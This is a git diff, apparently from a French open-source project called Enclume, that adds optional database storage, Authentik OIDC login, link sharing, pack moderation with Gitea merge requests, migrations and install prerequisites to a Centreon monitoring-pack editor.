diff --git a/.env.example b/.env.example index af2d892..8ce099f 100644 --- a/.env.example +++ b/.env.example @@ -17,5 +17,23 @@ CATALOG_SUBDIR=catalog SYNC_INTERVAL=300 CATALOG_SUBDIR=catalog -# Base de donnees (chantier 2) +# Base de donnees POSTGRES_PASSWORD=a-remplacer + +# Sessions : generer avec openssl rand -hex 32 +ENCLUME_SECRET_KEY=a-remplacer +ENCLUME_PARTAGE_JOURS=90 + +# Connexion optionnelle par Authentik (laisser vide pour un site sans comptes) +ENCLUME_OIDC_METADATA=https://authentik.tips-of-mine.com/application/o/enclume/.well-known/openid-configuration +ENCLUME_OIDC_CLIENT_ID= +ENCLUME_OIDC_CLIENT_SECRET= +ENCLUME_ADMIN_GROUPE=enclume-admins +# Depannage du premier demarrage, avant le mapping de portee "groups" : +ENCLUME_ADMIN_COMPTES= + +# Publication des packs acceptes, sous forme de demandes de fusion +ENCLUME_GITEA_URL=https://gitea.tips-of-mine.com +ENCLUME_GITEA_TOKEN= +ENCLUME_GITEA_PROPRIETAIRE=Tips-Of-Mine +ENCLUME_GITEA_DEPOT=Enclume diff --git a/Dockerfile b/Dockerfile index 092e3ea..8835762 100644 --- a/Dockerfile +++ b/Dockerfile @@ -40,6 +40,10 @@ COPY --from=build /opt/venv /opt/venv WORKDIR /app COPY --chown=root:root enclume/ /app/enclume/ COPY --chown=root:root catalog/ /app/catalog/ +COPY --chown=root:root migrations/ /app/migrations/ +COPY --chown=root:root alembic.ini /app/alembic.ini +COPY --chown=root:root docker/entrypoint-web.sh /usr/local/bin/entrypoint-web +RUN chmod +x /usr/local/bin/entrypoint-web USER enclume EXPOSE 8080 @@ -47,4 +51,4 @@ EXPOSE 8080 HEALTHCHECK --interval=30s --timeout=5s --start-period=10s --retries=3 \ CMD python -c "import urllib.request,sys; sys.exit(0 if urllib.request.urlopen('http://127.0.0.1:8080/sante', timeout=4).status==200 else 1)" -CMD ["sh", "-c", "exec gunicorn --bind 0.0.0.0:8080 --workers ${GUNICORN_WORKERS} --timeout ${GUNICORN_TIMEOUT} --access-logfile - --error-logfile - --forwarded-allow-ips '*' 'enclume.webapp:create_app()'"] +CMD ["/usr/local/bin/entrypoint-web"] diff --git a/README.md b/README.md index 42fbec2..c070d7d 100644 --- a/README.md +++ b/README.md @@ -18,12 +18,20 @@ Projet indépendant, sans lien avec Centreon SAS. - **Version de Centreon** au niveau du projet : les macros sortent en 3 ou 5 champs selon la cible. +- **Prérequis d'installation** : un pack peut déclarer ses paquets et ses droits, générés + dans un `prerequis.sh` distinct du CLAPI. +- **Partage par lien**, projets enregistrés et **soumission de packs** quand l'instance est + configurée pour — voir [docs/COMPTES-ET-MODERATION.md](docs/COMPTES-ET-MODERATION.md). + ## Ce que le serveur ne fait pas -Le projet vit dans le navigateur du visiteur (`localStorage`), s'exporte en JSON et se -réimporte. Le serveur valide et génère, sans rien conserver. Les macros marquées « mot de -passe » ne sont jamais stockées ni partagées : elles sont vidées avant toute écriture côté -serveur. +Il n'exécute rien. Ni CLAPI, ni prérequis, ni contribution : il écrit des fichiers que +l'utilisateur relit avant de les jouer. + +Sans configuration, le projet vit dans le navigateur (`localStorage`), s'exporte en JSON et +se réimporte ; le serveur valide et génère sans rien conserver. Avec une base, le partage et +l'enregistrement deviennent possibles — et les macros marquées « mot de passe » sont vidées +avant toute écriture, quelle qu'elle soit. ## Architecture @@ -69,6 +77,10 @@ python3 -m enclume.cli --projet mon-projet.json --out ./sortie | `POST /api/valider` | validation seule | | `POST /api/generer` | validation et génération des quatre fichiers | | `POST /telecharger` | archive zip | +| `POST /api/partages` `GET /api/partages/` | partage par lien | +| `GET POST DELETE /api/projets` | projets enregistrés (connexion requise) | +| `POST /api/soumissions/verifier` `POST /api/soumissions` | contribution d'un pack | +| `/api/moderation/...` | file de modération (groupe d'administration) | | `GET /sante` | version, commit, état du catalogue | | `POST /recharger` | relecture du catalogue (appelé par `catalog-sync`) | @@ -101,7 +113,7 @@ compose.dev.yaml développement local 1. Éditeur libre — **fait** 2. Empaquetage Docker, CI, exploitation — **fait** -3. Partage par lien et projets enregistrés (PostgreSQL) -4. Connexion optionnelle via Authentik -5. Soumission de packs et modération, écriture dans Gitea +3. Partage par lien et projets enregistrés — **fait** +4. Connexion optionnelle via Authentik — **fait** +5. Soumission de packs et modération, demandes de fusion Gitea — **fait** 6. Habillage public : page d'accueil, mentions, documentation d'usage diff --git a/alembic.ini b/alembic.ini new file mode 100644 index 0000000..ad9409b --- /dev/null +++ b/alembic.ini @@ -0,0 +1,38 @@ +# Migrations de la base Enclume. +# L'URL n'est pas ecrite ici : elle vient de ENCLUME_DATABASE_URL, lue par env.py. +[alembic] +script_location = migrations +prepend_sys_path = . + +[loggers] +keys = root,sqlalchemy,alembic + +[handlers] +keys = console + +[formatters] +keys = generic + +[logger_root] +level = WARN +handlers = console +qualname = + +[logger_sqlalchemy] +level = WARN +handlers = +qualname = sqlalchemy.engine + +[logger_alembic] +level = INFO +handlers = +qualname = alembic + +[handler_console] +class = StreamHandler +args = (sys.stderr,) +level = NOTSET +formatter = generic + +[formatter_generic] +format = %(levelname)-5.5s [%(name)s] %(message)s diff --git a/catalog/application/app-mssql.yml b/catalog/application/app-mssql.yml index a4fa4e8..8cd4bbc 100644 --- a/catalog/application/app-mssql.yml +++ b/catalog/application/app-mssql.yml @@ -13,6 +13,15 @@ host_template: - {name: MSSQLUSERNAME, value: "centreon", description: "Compte de supervision"} - {name: MSSQLPASSWORD, value: "", description: "Mot de passe du compte de supervision", is_password: true} - {name: MSSQLEXTRAOPTIONS, value: "", description: "Options supplementaires passees au plugin"} +prerequis: + paquets: + debian: [libdbd-sybase-perl, freetds-bin] + rhel: [perl-DBD-Sybase, freetds] + notes: | + Le plugin passe par FreeTDS. Verifier /etc/freetds/freetds.conf et le + droit VIEW SERVER STATE pour le compte de supervision. + verifications: + - "/usr/lib/centreon/plugins/centreon_mssql.pl --plugin=database::mssql::plugin --list-mode" services: - name: Connection-Time alias: Connection-Time diff --git a/catalog/application/app-mysql.yml b/catalog/application/app-mysql.yml index 34f5998..25296c5 100644 --- a/catalog/application/app-mysql.yml +++ b/catalog/application/app-mysql.yml @@ -13,6 +13,16 @@ host_template: - {name: MYSQLUSERNAME, value: "centreon", description: "Compte de supervision"} - {name: MYSQLPASSWORD, value: "", description: "Mot de passe du compte de supervision", is_password: true} - {name: MYSQLEXTRAOPTIONS, value: "", description: "Options supplementaires passees au plugin"} +prerequis: + paquets: + debian: [libdbd-mysql-perl] + rhel: [perl-DBD-MySQL] + notes: | + Creer un compte de supervision en lecture seule sur l'instance : + CREATE USER 'centreon'@'%' IDENTIFIED BY '...'; + GRANT REPLICATION CLIENT, PROCESS, SELECT ON *.* TO 'centreon'@'%'; + verifications: + - "/usr/lib/centreon/plugins/centreon_mysql.pl --plugin=database::mysql::plugin --list-mode" services: - name: Connection-Time alias: Connection-Time diff --git a/catalog/application/app-oracle.yml b/catalog/application/app-oracle.yml index 6df6d73..38780e4 100644 --- a/catalog/application/app-oracle.yml +++ b/catalog/application/app-oracle.yml @@ -14,6 +14,13 @@ host_template: - {name: ORACLEUSERNAME, value: "centreon", description: "Compte de supervision"} - {name: ORACLEPASSWORD, value: "", description: "Mot de passe du compte de supervision", is_password: true} - {name: ORACLEEXTRAOPTIONS, value: "", description: "Options supplementaires passees au plugin"} +prerequis: + notes: | + Necessite le client Oracle Instant Client et le module Perl DBD::Oracle, + tous deux absents des depots standards : suivre la procedure Oracle, puis + definir ORACLE_HOME et LD_LIBRARY_PATH pour l'utilisateur centreon-engine. + verifications: + - "/usr/lib/centreon/plugins/centreon_oracle.pl --plugin=database::oracle::plugin --list-mode" services: - name: Connection-Time alias: Connection-Time diff --git a/catalog/application/app-postgresql.yml b/catalog/application/app-postgresql.yml index 1aa654d..cf0d01c 100644 --- a/catalog/application/app-postgresql.yml +++ b/catalog/application/app-postgresql.yml @@ -14,6 +14,16 @@ host_template: - {name: PGPASSWORD, value: "", description: "Mot de passe du compte de supervision", is_password: true} - {name: PGDATABASE, value: "postgres", description: "Base de connexion"} - {name: PGEXTRAOPTIONS, value: "", description: "Options supplementaires passees au plugin"} +prerequis: + paquets: + debian: [libdbd-pg-perl] + rhel: [perl-DBD-Pg] + notes: | + Compte de supervision avec le role pg_monitor : + CREATE ROLE centreon LOGIN PASSWORD '...'; + GRANT pg_monitor TO centreon; + verifications: + - "/usr/lib/centreon/plugins/centreon_postgres.pl --plugin=database::postgres::plugin --list-mode" services: - name: Connection-Time alias: Connection-Time diff --git a/catalog/application/app-vmware-esx.yml b/catalog/application/app-vmware-esx.yml index b9502f1..93c7338 100644 --- a/catalog/application/app-vmware-esx.yml +++ b/catalog/application/app-vmware-esx.yml @@ -14,6 +14,13 @@ host_template: - {name: VMWARECONTAINER, value: "default", description: "Nom du container declare dans le connecteur"} - {name: VMWAREESXHOSTNAME, value: "", description: "Nom de l'hote ESXi dans le vCenter"} - {name: VMWAREEXTRAOPTIONS, value: "", description: "Options supplementaires passees au plugin"} +prerequis: + paquets: + debian: [centreon-plugin-virtualization-vmware2-connector-daemon] + rhel: [centreon-plugin-virtualization-vmware2-connector-daemon] + notes: | + Le connecteur Centreon VMware doit tourner et declarer un container + pointant sur le vCenter, avec un compte en lecture seule. services: - name: Host-Status alias: Host-Status diff --git a/catalog/system/os-linux-nrpe.yml b/catalog/system/os-linux-nrpe.yml index d2a715f..7a22f13 100644 --- a/catalog/system/os-linux-nrpe.yml +++ b/catalog/system/os-linux-nrpe.yml @@ -12,6 +12,13 @@ host_template: check_command_args: "!3!200,20%!400,50%" macros: - {name: NRPEPORT, value: "5666", description: "Port d'ecoute de l'agent NRPE"} +prerequis: + paquets: + debian: [centreon-nrpe3-plugin] + rhel: [centreon-nrpe3-plugin] + notes: | + Cote client supervise : installer l'agent NRPE, declarer l'adresse du + collecteur dans allowed_hosts, et definir les commandes appelees. services: - name: Cpu alias: Cpu diff --git a/compose.yaml b/compose.yaml index 36c89a7..11685b4 100644 --- a/compose.yaml +++ b/compose.yaml @@ -18,6 +18,26 @@ services: ENCLUME_CATALOG: /catalogue/actuel GUNICORN_WORKERS: ${GUNICORN_WORKERS:-2} TZ: ${TZ:-Europe/Paris} + ENCLUME_URL_PUBLIQUE: https://${ENCLUME_DOMAINE} + # Sessions. Sans cle, elles sont perdues a chaque redemarrage. + ENCLUME_SECRET_KEY: ${ENCLUME_SECRET_KEY:?definir ENCLUME_SECRET_KEY} + # Base : sans elle, ni partage ni comptes, l'editeur fonctionne quand meme. + ENCLUME_DATABASE_URL: postgresql+psycopg://enclume:${POSTGRES_PASSWORD}@db:5432/enclume + ENCLUME_PARTAGE_JOURS: ${ENCLUME_PARTAGE_JOURS:-90} + # Connexion optionnelle, deleguee a Authentik qui federe GitHub et Google. + ENCLUME_OIDC_METADATA: ${ENCLUME_OIDC_METADATA:-} + ENCLUME_OIDC_CLIENT_ID: ${ENCLUME_OIDC_CLIENT_ID:-} + ENCLUME_OIDC_CLIENT_SECRET: ${ENCLUME_OIDC_CLIENT_SECRET:-} + ENCLUME_ADMIN_GROUPE: ${ENCLUME_ADMIN_GROUPE:-enclume-admins} + ENCLUME_ADMIN_COMPTES: ${ENCLUME_ADMIN_COMPTES:-} + # Depot du catalogue : la moderation y ouvre des demandes de fusion. + ENCLUME_GITEA_URL: ${ENCLUME_GITEA_URL:-} + ENCLUME_GITEA_TOKEN: ${ENCLUME_GITEA_TOKEN:-} + ENCLUME_GITEA_PROPRIETAIRE: ${ENCLUME_GITEA_PROPRIETAIRE:-} + ENCLUME_GITEA_DEPOT: ${ENCLUME_GITEA_DEPOT:-} + depends_on: + db: + condition: service_healthy volumes: - catalogue:/catalogue:ro networks: [back_network_enclume, db_network_enclume, traefik_front_network] @@ -95,8 +115,8 @@ services: driver: json-file options: {max-size: "5m", max-file: "2"} - # Utilisee a partir du chantier 2 (liens de partage, projets enregistres). - # L'application fonctionne sans, tant que ENCLUME_DATABASE_URL n'est pas defini. + # Partages, projets enregistres et soumissions de packs. + # L'application demarre sans, tant que ENCLUME_DATABASE_URL n'est pas defini. db: image: postgres:16.4-alpine restart: unless-stopped diff --git a/docker/entrypoint-web.sh b/docker/entrypoint-web.sh new file mode 100644 index 0000000..85055ce --- /dev/null +++ b/docker/entrypoint-web.sh @@ -0,0 +1,23 @@ +#!/bin/sh +# Demarrage de l'application. +# +# Les migrations tournent avant gunicorn, et un echec arrete le conteneur : +# une base a moitie migree derriere une application qui repond serait pire +# qu'une indisponibilite visible. +set -eu + +if [ -n "${ENCLUME_DATABASE_URL:-}" ]; then + echo "enclume : migration de la base" + alembic upgrade head +else + echo "enclume : aucune base configuree, mode sans etat" +fi + +exec gunicorn \ + --bind 0.0.0.0:8080 \ + --workers "${GUNICORN_WORKERS:-2}" \ + --timeout "${GUNICORN_TIMEOUT:-30}" \ + --access-logfile - \ + --error-logfile - \ + --forwarded-allow-ips '*' \ + 'enclume.webapp:create_app()' diff --git a/docs/COMPTES-ET-MODERATION.md b/docs/COMPTES-ET-MODERATION.md new file mode 100644 index 0000000..2178ca6 --- /dev/null +++ b/docs/COMPTES-ET-MODERATION.md @@ -0,0 +1,92 @@ +# Comptes, partage et modération + +Trois fonctionnalités s'activent indépendamment. Aucune n'est obligatoire : sans base de +données, sans OIDC et sans jeton Gitea, Enclume reste l'éditeur qui génère du CLAPI. C'est +ce qui permet à n'importe qui de l'auto-héberger sans rien configurer. + +| Fonction | Ce qu'il faut | Sans ça | +|---|---|---| +| Partage par lien | `ENCLUME_DATABASE_URL` | bouton absent | +| Comptes et projets enregistrés | base + OIDC | site utilisable, sans connexion | +| Soumission de packs | base + OIDC | contributions par pull request uniquement | +| Publication des packs acceptés | jeton Gitea | modération possible, publication non | + +`/sante` annonce l'état réel de chacune. + +## Authentik + +Un seul fournisseur est déclaré côté Enclume. C'est Authentik qui fédère GitHub, Google ou +tout autre fournisseur social : en ajouter un plus tard ne demande aucun redéploiement. + +**Créer le fournisseur** — Applications → Fournisseurs → Créer → OAuth2/OpenID. + +- Type de client : **Confidentiel** +- URI de redirection, en correspondance stricte : `https:///connexion/retour` +- Portées : `openid`, `email`, `profile` +- Noter l'identifiant client et le secret + +**Créer l'application** — Applications → Applications → Créer. Le **slug** compte : c'est lui +qui apparaît dans l'URL de découverte. + +``` +ENCLUME_OIDC_METADATA=https://authentik./application/o//.well-known/openid-configuration +ENCLUME_OIDC_CLIENT_ID=... +ENCLUME_OIDC_CLIENT_SECRET=... +``` + +**Le groupe de modération.** Enclume lit la revendication `groups` du jeton, qu'Authentik +n'envoie pas par défaut. Créer une correspondance de portée (Personnalisation → Property +Mappings → Scope Mapping), nom de portée `groups`, expression : + +```python +return {"groups": [group.name for group in request.user.ak_groups.all()]} +``` + +Puis ajouter cette portée au fournisseur, et créer un groupe `enclume-admins` dont tu es +membre. + +Le temps de mettre ça en place, `ENCLUME_ADMIN_COMPTES=ton.email@exemple.org` donne l'accès +à la modération sur la seule foi de l'adresse. À vider ensuite. + +## Le jeton Gitea + +Un jeton d'accès personnel sur le compte qui ouvrira les demandes de fusion, avec la portée +`write:repository` sur le dépôt du catalogue. Publier un pack accepté crée une branche, y +dépose le fichier YAML et ouvre une pull request — **jamais un push sur la branche +principale**. Tu relis dans Gitea avant de fusionner. + +## Ce qui n'est jamais stocké + +Les macros marquées « mot de passe » sont vidées avant toute écriture en base : partage, +projet enregistré, soumission. Un site public n'a aucune raison de détenir le mot de passe +MySQL de quelqu'un. L'avertissement affiché au partage le rappelle à l'utilisateur. + +## Migrations + +Le conteneur `web` exécute `alembic upgrade head` à son démarrage, puis lance gunicorn. Un +échec de migration arrête le conteneur : une base à moitié migrée derrière une application +qui répond serait pire qu'une indisponibilité visible. + +**Règle d'écriture des migrations** : on ajoute, on ne retire jamais dans la même version que +le code qui cesse d'utiliser une colonne. La suppression arrive une version plus tard. Sans +cette discipline, revenir à l'image précédente casse l'application — et tout l'intérêt des +tags immuables disparaît. + +Sauvegarde avant une montée de version qui touche au schéma : + +```bash +docker compose exec -T db pg_dump -U enclume enclume | zstd > enclume-$(date +%F).sql.zst +``` + +## Les limites en place + +| Réglage | Défaut | Rôle | +|---|---|---| +| `ENCLUME_PARTAGE_JOURS` | 90 | expiration des liens | +| `ENCLUME_PROJETS_PAR_COMPTE` | 50 | projets enregistrés par compte | +| `ENCLUME_SOUMISSIONS_PAR_JOUR` | 10 | soumissions par compte et par jour | +| `ENCLUME_TAILLE_MAX_PACK` | 256 ko | taille d'un YAML soumis | +| `ENCLUME_TAILLE_MAX_PROJET` | 2 Mo | taille d'un projet | + +Les identifiants de partage font 12 caractères tirés au hasard, soit 72 bits : ils ne +s'énumèrent pas. Les liens expirés sont purgés à chaque nouveau partage. diff --git a/enclume/auth.py b/enclume/auth.py new file mode 100644 index 0000000..680c309 --- /dev/null +++ b/enclume/auth.py @@ -0,0 +1,155 @@ +"""Connexion optionnelle par OpenID Connect. + +Le site reste entierement utilisable sans compte : se connecter n'ajoute que +l'enregistrement de projets cote serveur et la soumission de packs. + +Un seul fournisseur est declare, Authentik, qui federe lui-meme GitHub, Google +ou tout autre fournisseur social. L'application n'a donc jamais a connaitre les +identifiants de ces services, ni a etre redeployee quand on en ajoute un. +""" + +from __future__ import annotations + +import functools +from typing import Any, Callable + +from authlib.integrations.flask_client import OAuth +from flask import Blueprint, current_app, jsonify, redirect, request, session, url_for + +from .config import Config +from .db import Utilisateur, db, maintenant + +oauth = OAuth() +bp = Blueprint("auth", __name__) + + +def init_app(app) -> None: + oauth.init_app(app) + if not Config.oidc_actif(): + return + oauth.register( + name="fournisseur", + client_id=Config.OIDC_CLIENT_ID, + client_secret=Config.OIDC_CLIENT_SECRET, + server_metadata_url=Config.OIDC_METADATA, + client_kwargs={"scope": Config.OIDC_SCOPES}, + ) + app.register_blueprint(bp) + + +# --------------------------------------------------------------------------- # +# Etat de la session +# --------------------------------------------------------------------------- # + +def utilisateur_courant() -> Utilisateur | None: + identifiant = session.get("utilisateur_id") + if not identifiant or not Config.base_active(): + return None + return db.session.get(Utilisateur, identifiant) + + +def est_administrateur(utilisateur: Utilisateur | None = None) -> bool: + utilisateur = utilisateur or utilisateur_courant() + return bool(utilisateur and utilisateur.administrateur) + + +def connexion_requise(vue: Callable) -> Callable: + @functools.wraps(vue) + def enveloppe(*args: Any, **kwargs: Any): + if utilisateur_courant() is None: + return jsonify({"erreur": "connexion requise"}), 401 + return vue(*args, **kwargs) + + return enveloppe + + +def administration_requise(vue: Callable) -> Callable: + @functools.wraps(vue) + def enveloppe(*args: Any, **kwargs: Any): + utilisateur = utilisateur_courant() + if utilisateur is None: + return jsonify({"erreur": "connexion requise"}), 401 + if not utilisateur.administrateur: + return jsonify({"erreur": "reserve a la moderation"}), 403 + return vue(*args, **kwargs) + + return enveloppe + + +# --------------------------------------------------------------------------- # +# Parcours de connexion +# --------------------------------------------------------------------------- # + +def _destination_sure(brut: str | None) -> str: + """N'accepte qu'un chemin interne : pas de redirection ouverte.""" + if not brut or not brut.startswith("/") or brut.startswith("//"): + return "/" + return brut + + +@bp.get("/connexion") +def connexion(): + session["retour"] = _destination_sure(request.args.get("retour")) + redirection = url_for("auth.retour", _external=True) + if Config.URL_PUBLIQUE: + redirection = f"{Config.URL_PUBLIQUE}{url_for('auth.retour')}" + return oauth.fournisseur.authorize_redirect(redirection) + + +@bp.get("/connexion/retour") +def retour(): + try: + jeton = oauth.fournisseur.authorize_access_token() + except Exception: # noqa: BLE001 - echec d'echange, on renvoie sans detail + current_app.logger.warning("echec de l'echange du jeton OIDC") + return redirect("/?connexion=echec") + + revendications = jeton.get("userinfo") or {} + if not revendications: + try: + revendications = oauth.fournisseur.userinfo(token=jeton) + except Exception: # noqa: BLE001 + revendications = {} + + sujet = str(revendications.get("sub") or "").strip() + if not sujet: + return redirect("/?connexion=echec") + + utilisateur = db.session.query(Utilisateur).filter_by(sujet=sujet).one_or_none() + if utilisateur is None: + utilisateur = Utilisateur(sujet=sujet) + db.session.add(utilisateur) + + utilisateur.email = str(revendications.get("email") or "")[:320] + utilisateur.nom = str( + revendications.get("name") or revendications.get("preferred_username") or "" + )[:255] + utilisateur.administrateur = _est_admin(revendications) + utilisateur.vu_le = maintenant() + db.session.commit() + + session.clear() + session["utilisateur_id"] = utilisateur.id + session.permanent = True + return redirect(_destination_sure(session.pop("retour", "/"))) + + +def _est_admin(revendications: dict) -> bool: + """Deux voies : appartenance a un groupe, ou liste explicite de comptes. + + La seconde existe pour le premier demarrage, avant que le mapping de portee + "groups" ne soit configure cote Authentik. + """ + groupes = revendications.get("groups") or [] + if isinstance(groupes, str): + groupes = [groupes] + if Config.ADMIN_GROUPE and Config.ADMIN_GROUPE in groupes: + return True + email = str(revendications.get("email") or "").lower() + return bool(email and email in Config.ADMIN_COMPTES) + + +@bp.post("/deconnexion") +def deconnexion(): + session.clear() + return jsonify({"statut": "deconnecte"}) diff --git a/enclume/catalog.py b/enclume/catalog.py index 41d6020..ce6f3bb 100644 --- a/enclume/catalog.py +++ b/enclume/catalog.py @@ -98,6 +98,7 @@ class Pack: status: str host_template: HostTemplate services: list[Service] + prerequis: dict[str, Any] = field(default_factory=dict) source_file: str = "" @property @@ -130,6 +131,7 @@ class Pack: status=str(raw.get("status", "to-verify")), host_template=HostTemplate.from_dict(raw["host_template"]), services=[Service.from_dict(s) for s in raw.get("services") or []], + prerequis=raw.get("prerequis") or {}, source_file=source_file, ) diff --git a/enclume/config.py b/enclume/config.py new file mode 100644 index 0000000..9125edf --- /dev/null +++ b/enclume/config.py @@ -0,0 +1,105 @@ +"""Configuration lue depuis l'environnement. + +Toutes les fonctionnalites ajoutees aux chantiers 3 a 5 sont facultatives : +sans base de donnees, sans OIDC et sans jeton Gitea, l'application reste +exactement ce qu'elle etait — un editeur qui genere du CLAPI. C'est ce qui +permet a n'importe qui de l'auto-heberger en trois lignes. +""" + +from __future__ import annotations + +import os +import secrets + + +def _bool(nom: str, defaut: bool = False) -> bool: + brut = os.environ.get(nom) + if brut is None: + return defaut + return brut.strip().lower() in {"1", "true", "oui", "yes", "on"} + + +def _int(nom: str, defaut: int) -> int: + try: + return int(os.environ.get(nom, defaut)) + except (TypeError, ValueError): + return defaut + + +class Config: + # --- Identite du service ------------------------------------------------ + VERSION = os.environ.get("ENCLUME_VERSION", "dev") + COMMIT = os.environ.get("ENCLUME_COMMIT", "inconnu") + URL_PUBLIQUE = os.environ.get("ENCLUME_URL_PUBLIQUE", "").rstrip("/") + + # --- Sessions ----------------------------------------------------------- + # Sans cle fournie, on en tire une au demarrage : les sessions ne survivent + # pas a un redemarrage, ce qui est acceptable en developpement et bruyant + # en production, donc visible. + SECRET_KEY = os.environ.get("ENCLUME_SECRET_KEY") or secrets.token_hex(32) + SECRET_KEY_FOURNIE = bool(os.environ.get("ENCLUME_SECRET_KEY")) + SESSION_COOKIE_NAME = "enclume" + SESSION_COOKIE_HTTPONLY = True + SESSION_COOKIE_SAMESITE = "Lax" + SESSION_COOKIE_SECURE = _bool("ENCLUME_COOKIE_SECURE", True) + PERMANENT_SESSION_LIFETIME = _int("ENCLUME_SESSION_JOURS", 30) * 86400 + + # --- Base de donnees ---------------------------------------------------- + SQLALCHEMY_DATABASE_URI = os.environ.get("ENCLUME_DATABASE_URL", "") + SQLALCHEMY_ENGINE_OPTIONS = {"pool_pre_ping": True, "pool_recycle": 1800} + + # --- Partage ------------------------------------------------------------ + PARTAGE_JOURS = _int("ENCLUME_PARTAGE_JOURS", 90) + PROJETS_PAR_COMPTE = _int("ENCLUME_PROJETS_PAR_COMPTE", 50) + + # --- Authentification OIDC (Authentik) ---------------------------------- + OIDC_NOM = os.environ.get("ENCLUME_OIDC_NOM", "Authentik") + OIDC_METADATA = os.environ.get("ENCLUME_OIDC_METADATA", "") + OIDC_CLIENT_ID = os.environ.get("ENCLUME_OIDC_CLIENT_ID", "") + OIDC_CLIENT_SECRET = os.environ.get("ENCLUME_OIDC_CLIENT_SECRET", "") + OIDC_SCOPES = os.environ.get("ENCLUME_OIDC_SCOPES", "openid email profile") + # Le groupe qui donne acces a la moderation. Necessite que le fournisseur + # place la revendication "groups" dans le jeton (mapping de portee dedie + # cote Authentik). + ADMIN_GROUPE = os.environ.get("ENCLUME_ADMIN_GROUPE", "enclume-admins") + ADMIN_COMPTES = [ + c.strip().lower() + for c in os.environ.get("ENCLUME_ADMIN_COMPTES", "").split(",") + if c.strip() + ] + + # --- Depot du catalogue, pour les soumissions --------------------------- + GITEA_URL = os.environ.get("ENCLUME_GITEA_URL", "").rstrip("/") + GITEA_TOKEN = os.environ.get("ENCLUME_GITEA_TOKEN", "") + GITEA_PROPRIETAIRE = os.environ.get("ENCLUME_GITEA_PROPRIETAIRE", "") + GITEA_DEPOT = os.environ.get("ENCLUME_GITEA_DEPOT", "") + GITEA_BRANCHE = os.environ.get("ENCLUME_GITEA_BRANCHE", "main") + GITEA_SOUS_DOSSIER = os.environ.get("ENCLUME_GITEA_SOUS_DOSSIER", "catalog") + + # --- Limites ------------------------------------------------------------ + TAILLE_MAX_PROJET = _int("ENCLUME_TAILLE_MAX_PROJET", 2 * 1024 * 1024) + TAILLE_MAX_PACK = _int("ENCLUME_TAILLE_MAX_PACK", 256 * 1024) + SOUMISSIONS_PAR_JOUR = _int("ENCLUME_SOUMISSIONS_PAR_JOUR", 10) + + @classmethod + def base_active(cls) -> bool: + return bool(cls.SQLALCHEMY_DATABASE_URI) + + @classmethod + def oidc_actif(cls) -> bool: + return bool(cls.OIDC_METADATA and cls.OIDC_CLIENT_ID and cls.OIDC_CLIENT_SECRET) + + @classmethod + def gitea_actif(cls) -> bool: + return bool(cls.GITEA_URL and cls.GITEA_TOKEN and cls.GITEA_PROPRIETAIRE and cls.GITEA_DEPOT) + + @classmethod + def etat(cls) -> dict[str, bool]: + """Ce que le site sait faire, tel qu'annonce a l'interface.""" + return { + "comptes": cls.base_active() and cls.oidc_actif(), + "partage": cls.base_active(), + "projets_enregistres": cls.base_active() and cls.oidc_actif(), + "soumissions": cls.base_active() and cls.oidc_actif(), + "publication_gitea": cls.gitea_actif(), + } diff --git a/enclume/db.py b/enclume/db.py new file mode 100644 index 0000000..6e0b386 --- /dev/null +++ b/enclume/db.py @@ -0,0 +1,174 @@ +"""Persistance : comptes, projets enregistres, partages, soumissions de packs. + +Toutes les tables sont facultatives : sans ENCLUME_DATABASE_URL, rien de tout +cela n'est instancie et l'application fonctionne en mode sans etat. + +Regle de migration : on ajoute, on ne retire jamais dans la meme version que le +code qui cesse d'utiliser une colonne. La suppression arrive une version plus +tard, quand le retour arriere n'est plus envisage. +""" + +from __future__ import annotations + +import secrets +from datetime import datetime, timedelta, timezone + +from flask_sqlalchemy import SQLAlchemy +from sqlalchemy import ( + Boolean, + DateTime, + ForeignKey, + Index, + Integer, + String, + Text, + func, +) +from sqlalchemy.orm import DeclarativeBase, Mapped, mapped_column, relationship + + +class Base(DeclarativeBase): + pass + + +db = SQLAlchemy(model_class=Base) + + +def maintenant() -> datetime: + return datetime.now(timezone.utc) + + +def _identifiant_court() -> str: + """12 caracteres d'alphabet URL, soit 72 bits : non enumerable.""" + return secrets.token_urlsafe(9) + + +class Utilisateur(db.Model): + __tablename__ = "utilisateurs" + + id: Mapped[int] = mapped_column(Integer, primary_key=True) + # Identifiant stable du fournisseur OIDC (revendication "sub"). + sujet: Mapped[str] = mapped_column(String(255), unique=True, nullable=False) + email: Mapped[str] = mapped_column(String(320), default="") + nom: Mapped[str] = mapped_column(String(255), default="") + administrateur: Mapped[bool] = mapped_column(Boolean, default=False) + cree_le: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=maintenant) + vu_le: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=maintenant) + + projets: Mapped[list["Projet"]] = relationship(back_populates="proprietaire", cascade="all, delete-orphan") + + @property + def affichage(self) -> str: + return self.nom or self.email or f"compte {self.id}" + + +class Projet(db.Model): + __tablename__ = "projets" + + id: Mapped[int] = mapped_column(Integer, primary_key=True) + utilisateur_id: Mapped[int] = mapped_column(ForeignKey("utilisateurs.id"), nullable=False) + nom: Mapped[str] = mapped_column(String(255), default="Projet sans nom") + contenu: Mapped[str] = mapped_column(Text, nullable=False) + cree_le: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=maintenant) + maj_le: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=maintenant, onupdate=maintenant) + + proprietaire: Mapped[Utilisateur] = relationship(back_populates="projets") + + __table_args__ = (Index("ix_projets_utilisateur", "utilisateur_id"),) + + def resume(self) -> dict: + return { + "id": self.id, + "nom": self.nom, + "maj_le": self.maj_le.isoformat() if self.maj_le else None, + } + + +class Partage(db.Model): + __tablename__ = "partages" + + id: Mapped[str] = mapped_column(String(32), primary_key=True, default=_identifiant_court) + contenu: Mapped[str] = mapped_column(Text, nullable=False) + nom: Mapped[str] = mapped_column(String(255), default="") + utilisateur_id: Mapped[int | None] = mapped_column(ForeignKey("utilisateurs.id"), nullable=True) + cree_le: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=maintenant) + expire_le: Mapped[datetime] = mapped_column(DateTime(timezone=True), nullable=False) + vues: Mapped[int] = mapped_column(Integer, default=0) + + @classmethod + def creer(cls, contenu: str, nom: str, jours: int, utilisateur_id: int | None = None) -> "Partage": + return cls( + contenu=contenu, + nom=nom[:255], + utilisateur_id=utilisateur_id, + expire_le=maintenant() + timedelta(days=jours), + ) + + @property + def expire(self) -> bool: + limite = self.expire_le + if limite.tzinfo is None: # SQLite rend des datetimes naifs + limite = limite.replace(tzinfo=timezone.utc) + return limite < maintenant() + + +class Soumission(db.Model): + __tablename__ = "soumissions" + + EN_ATTENTE = "en_attente" + 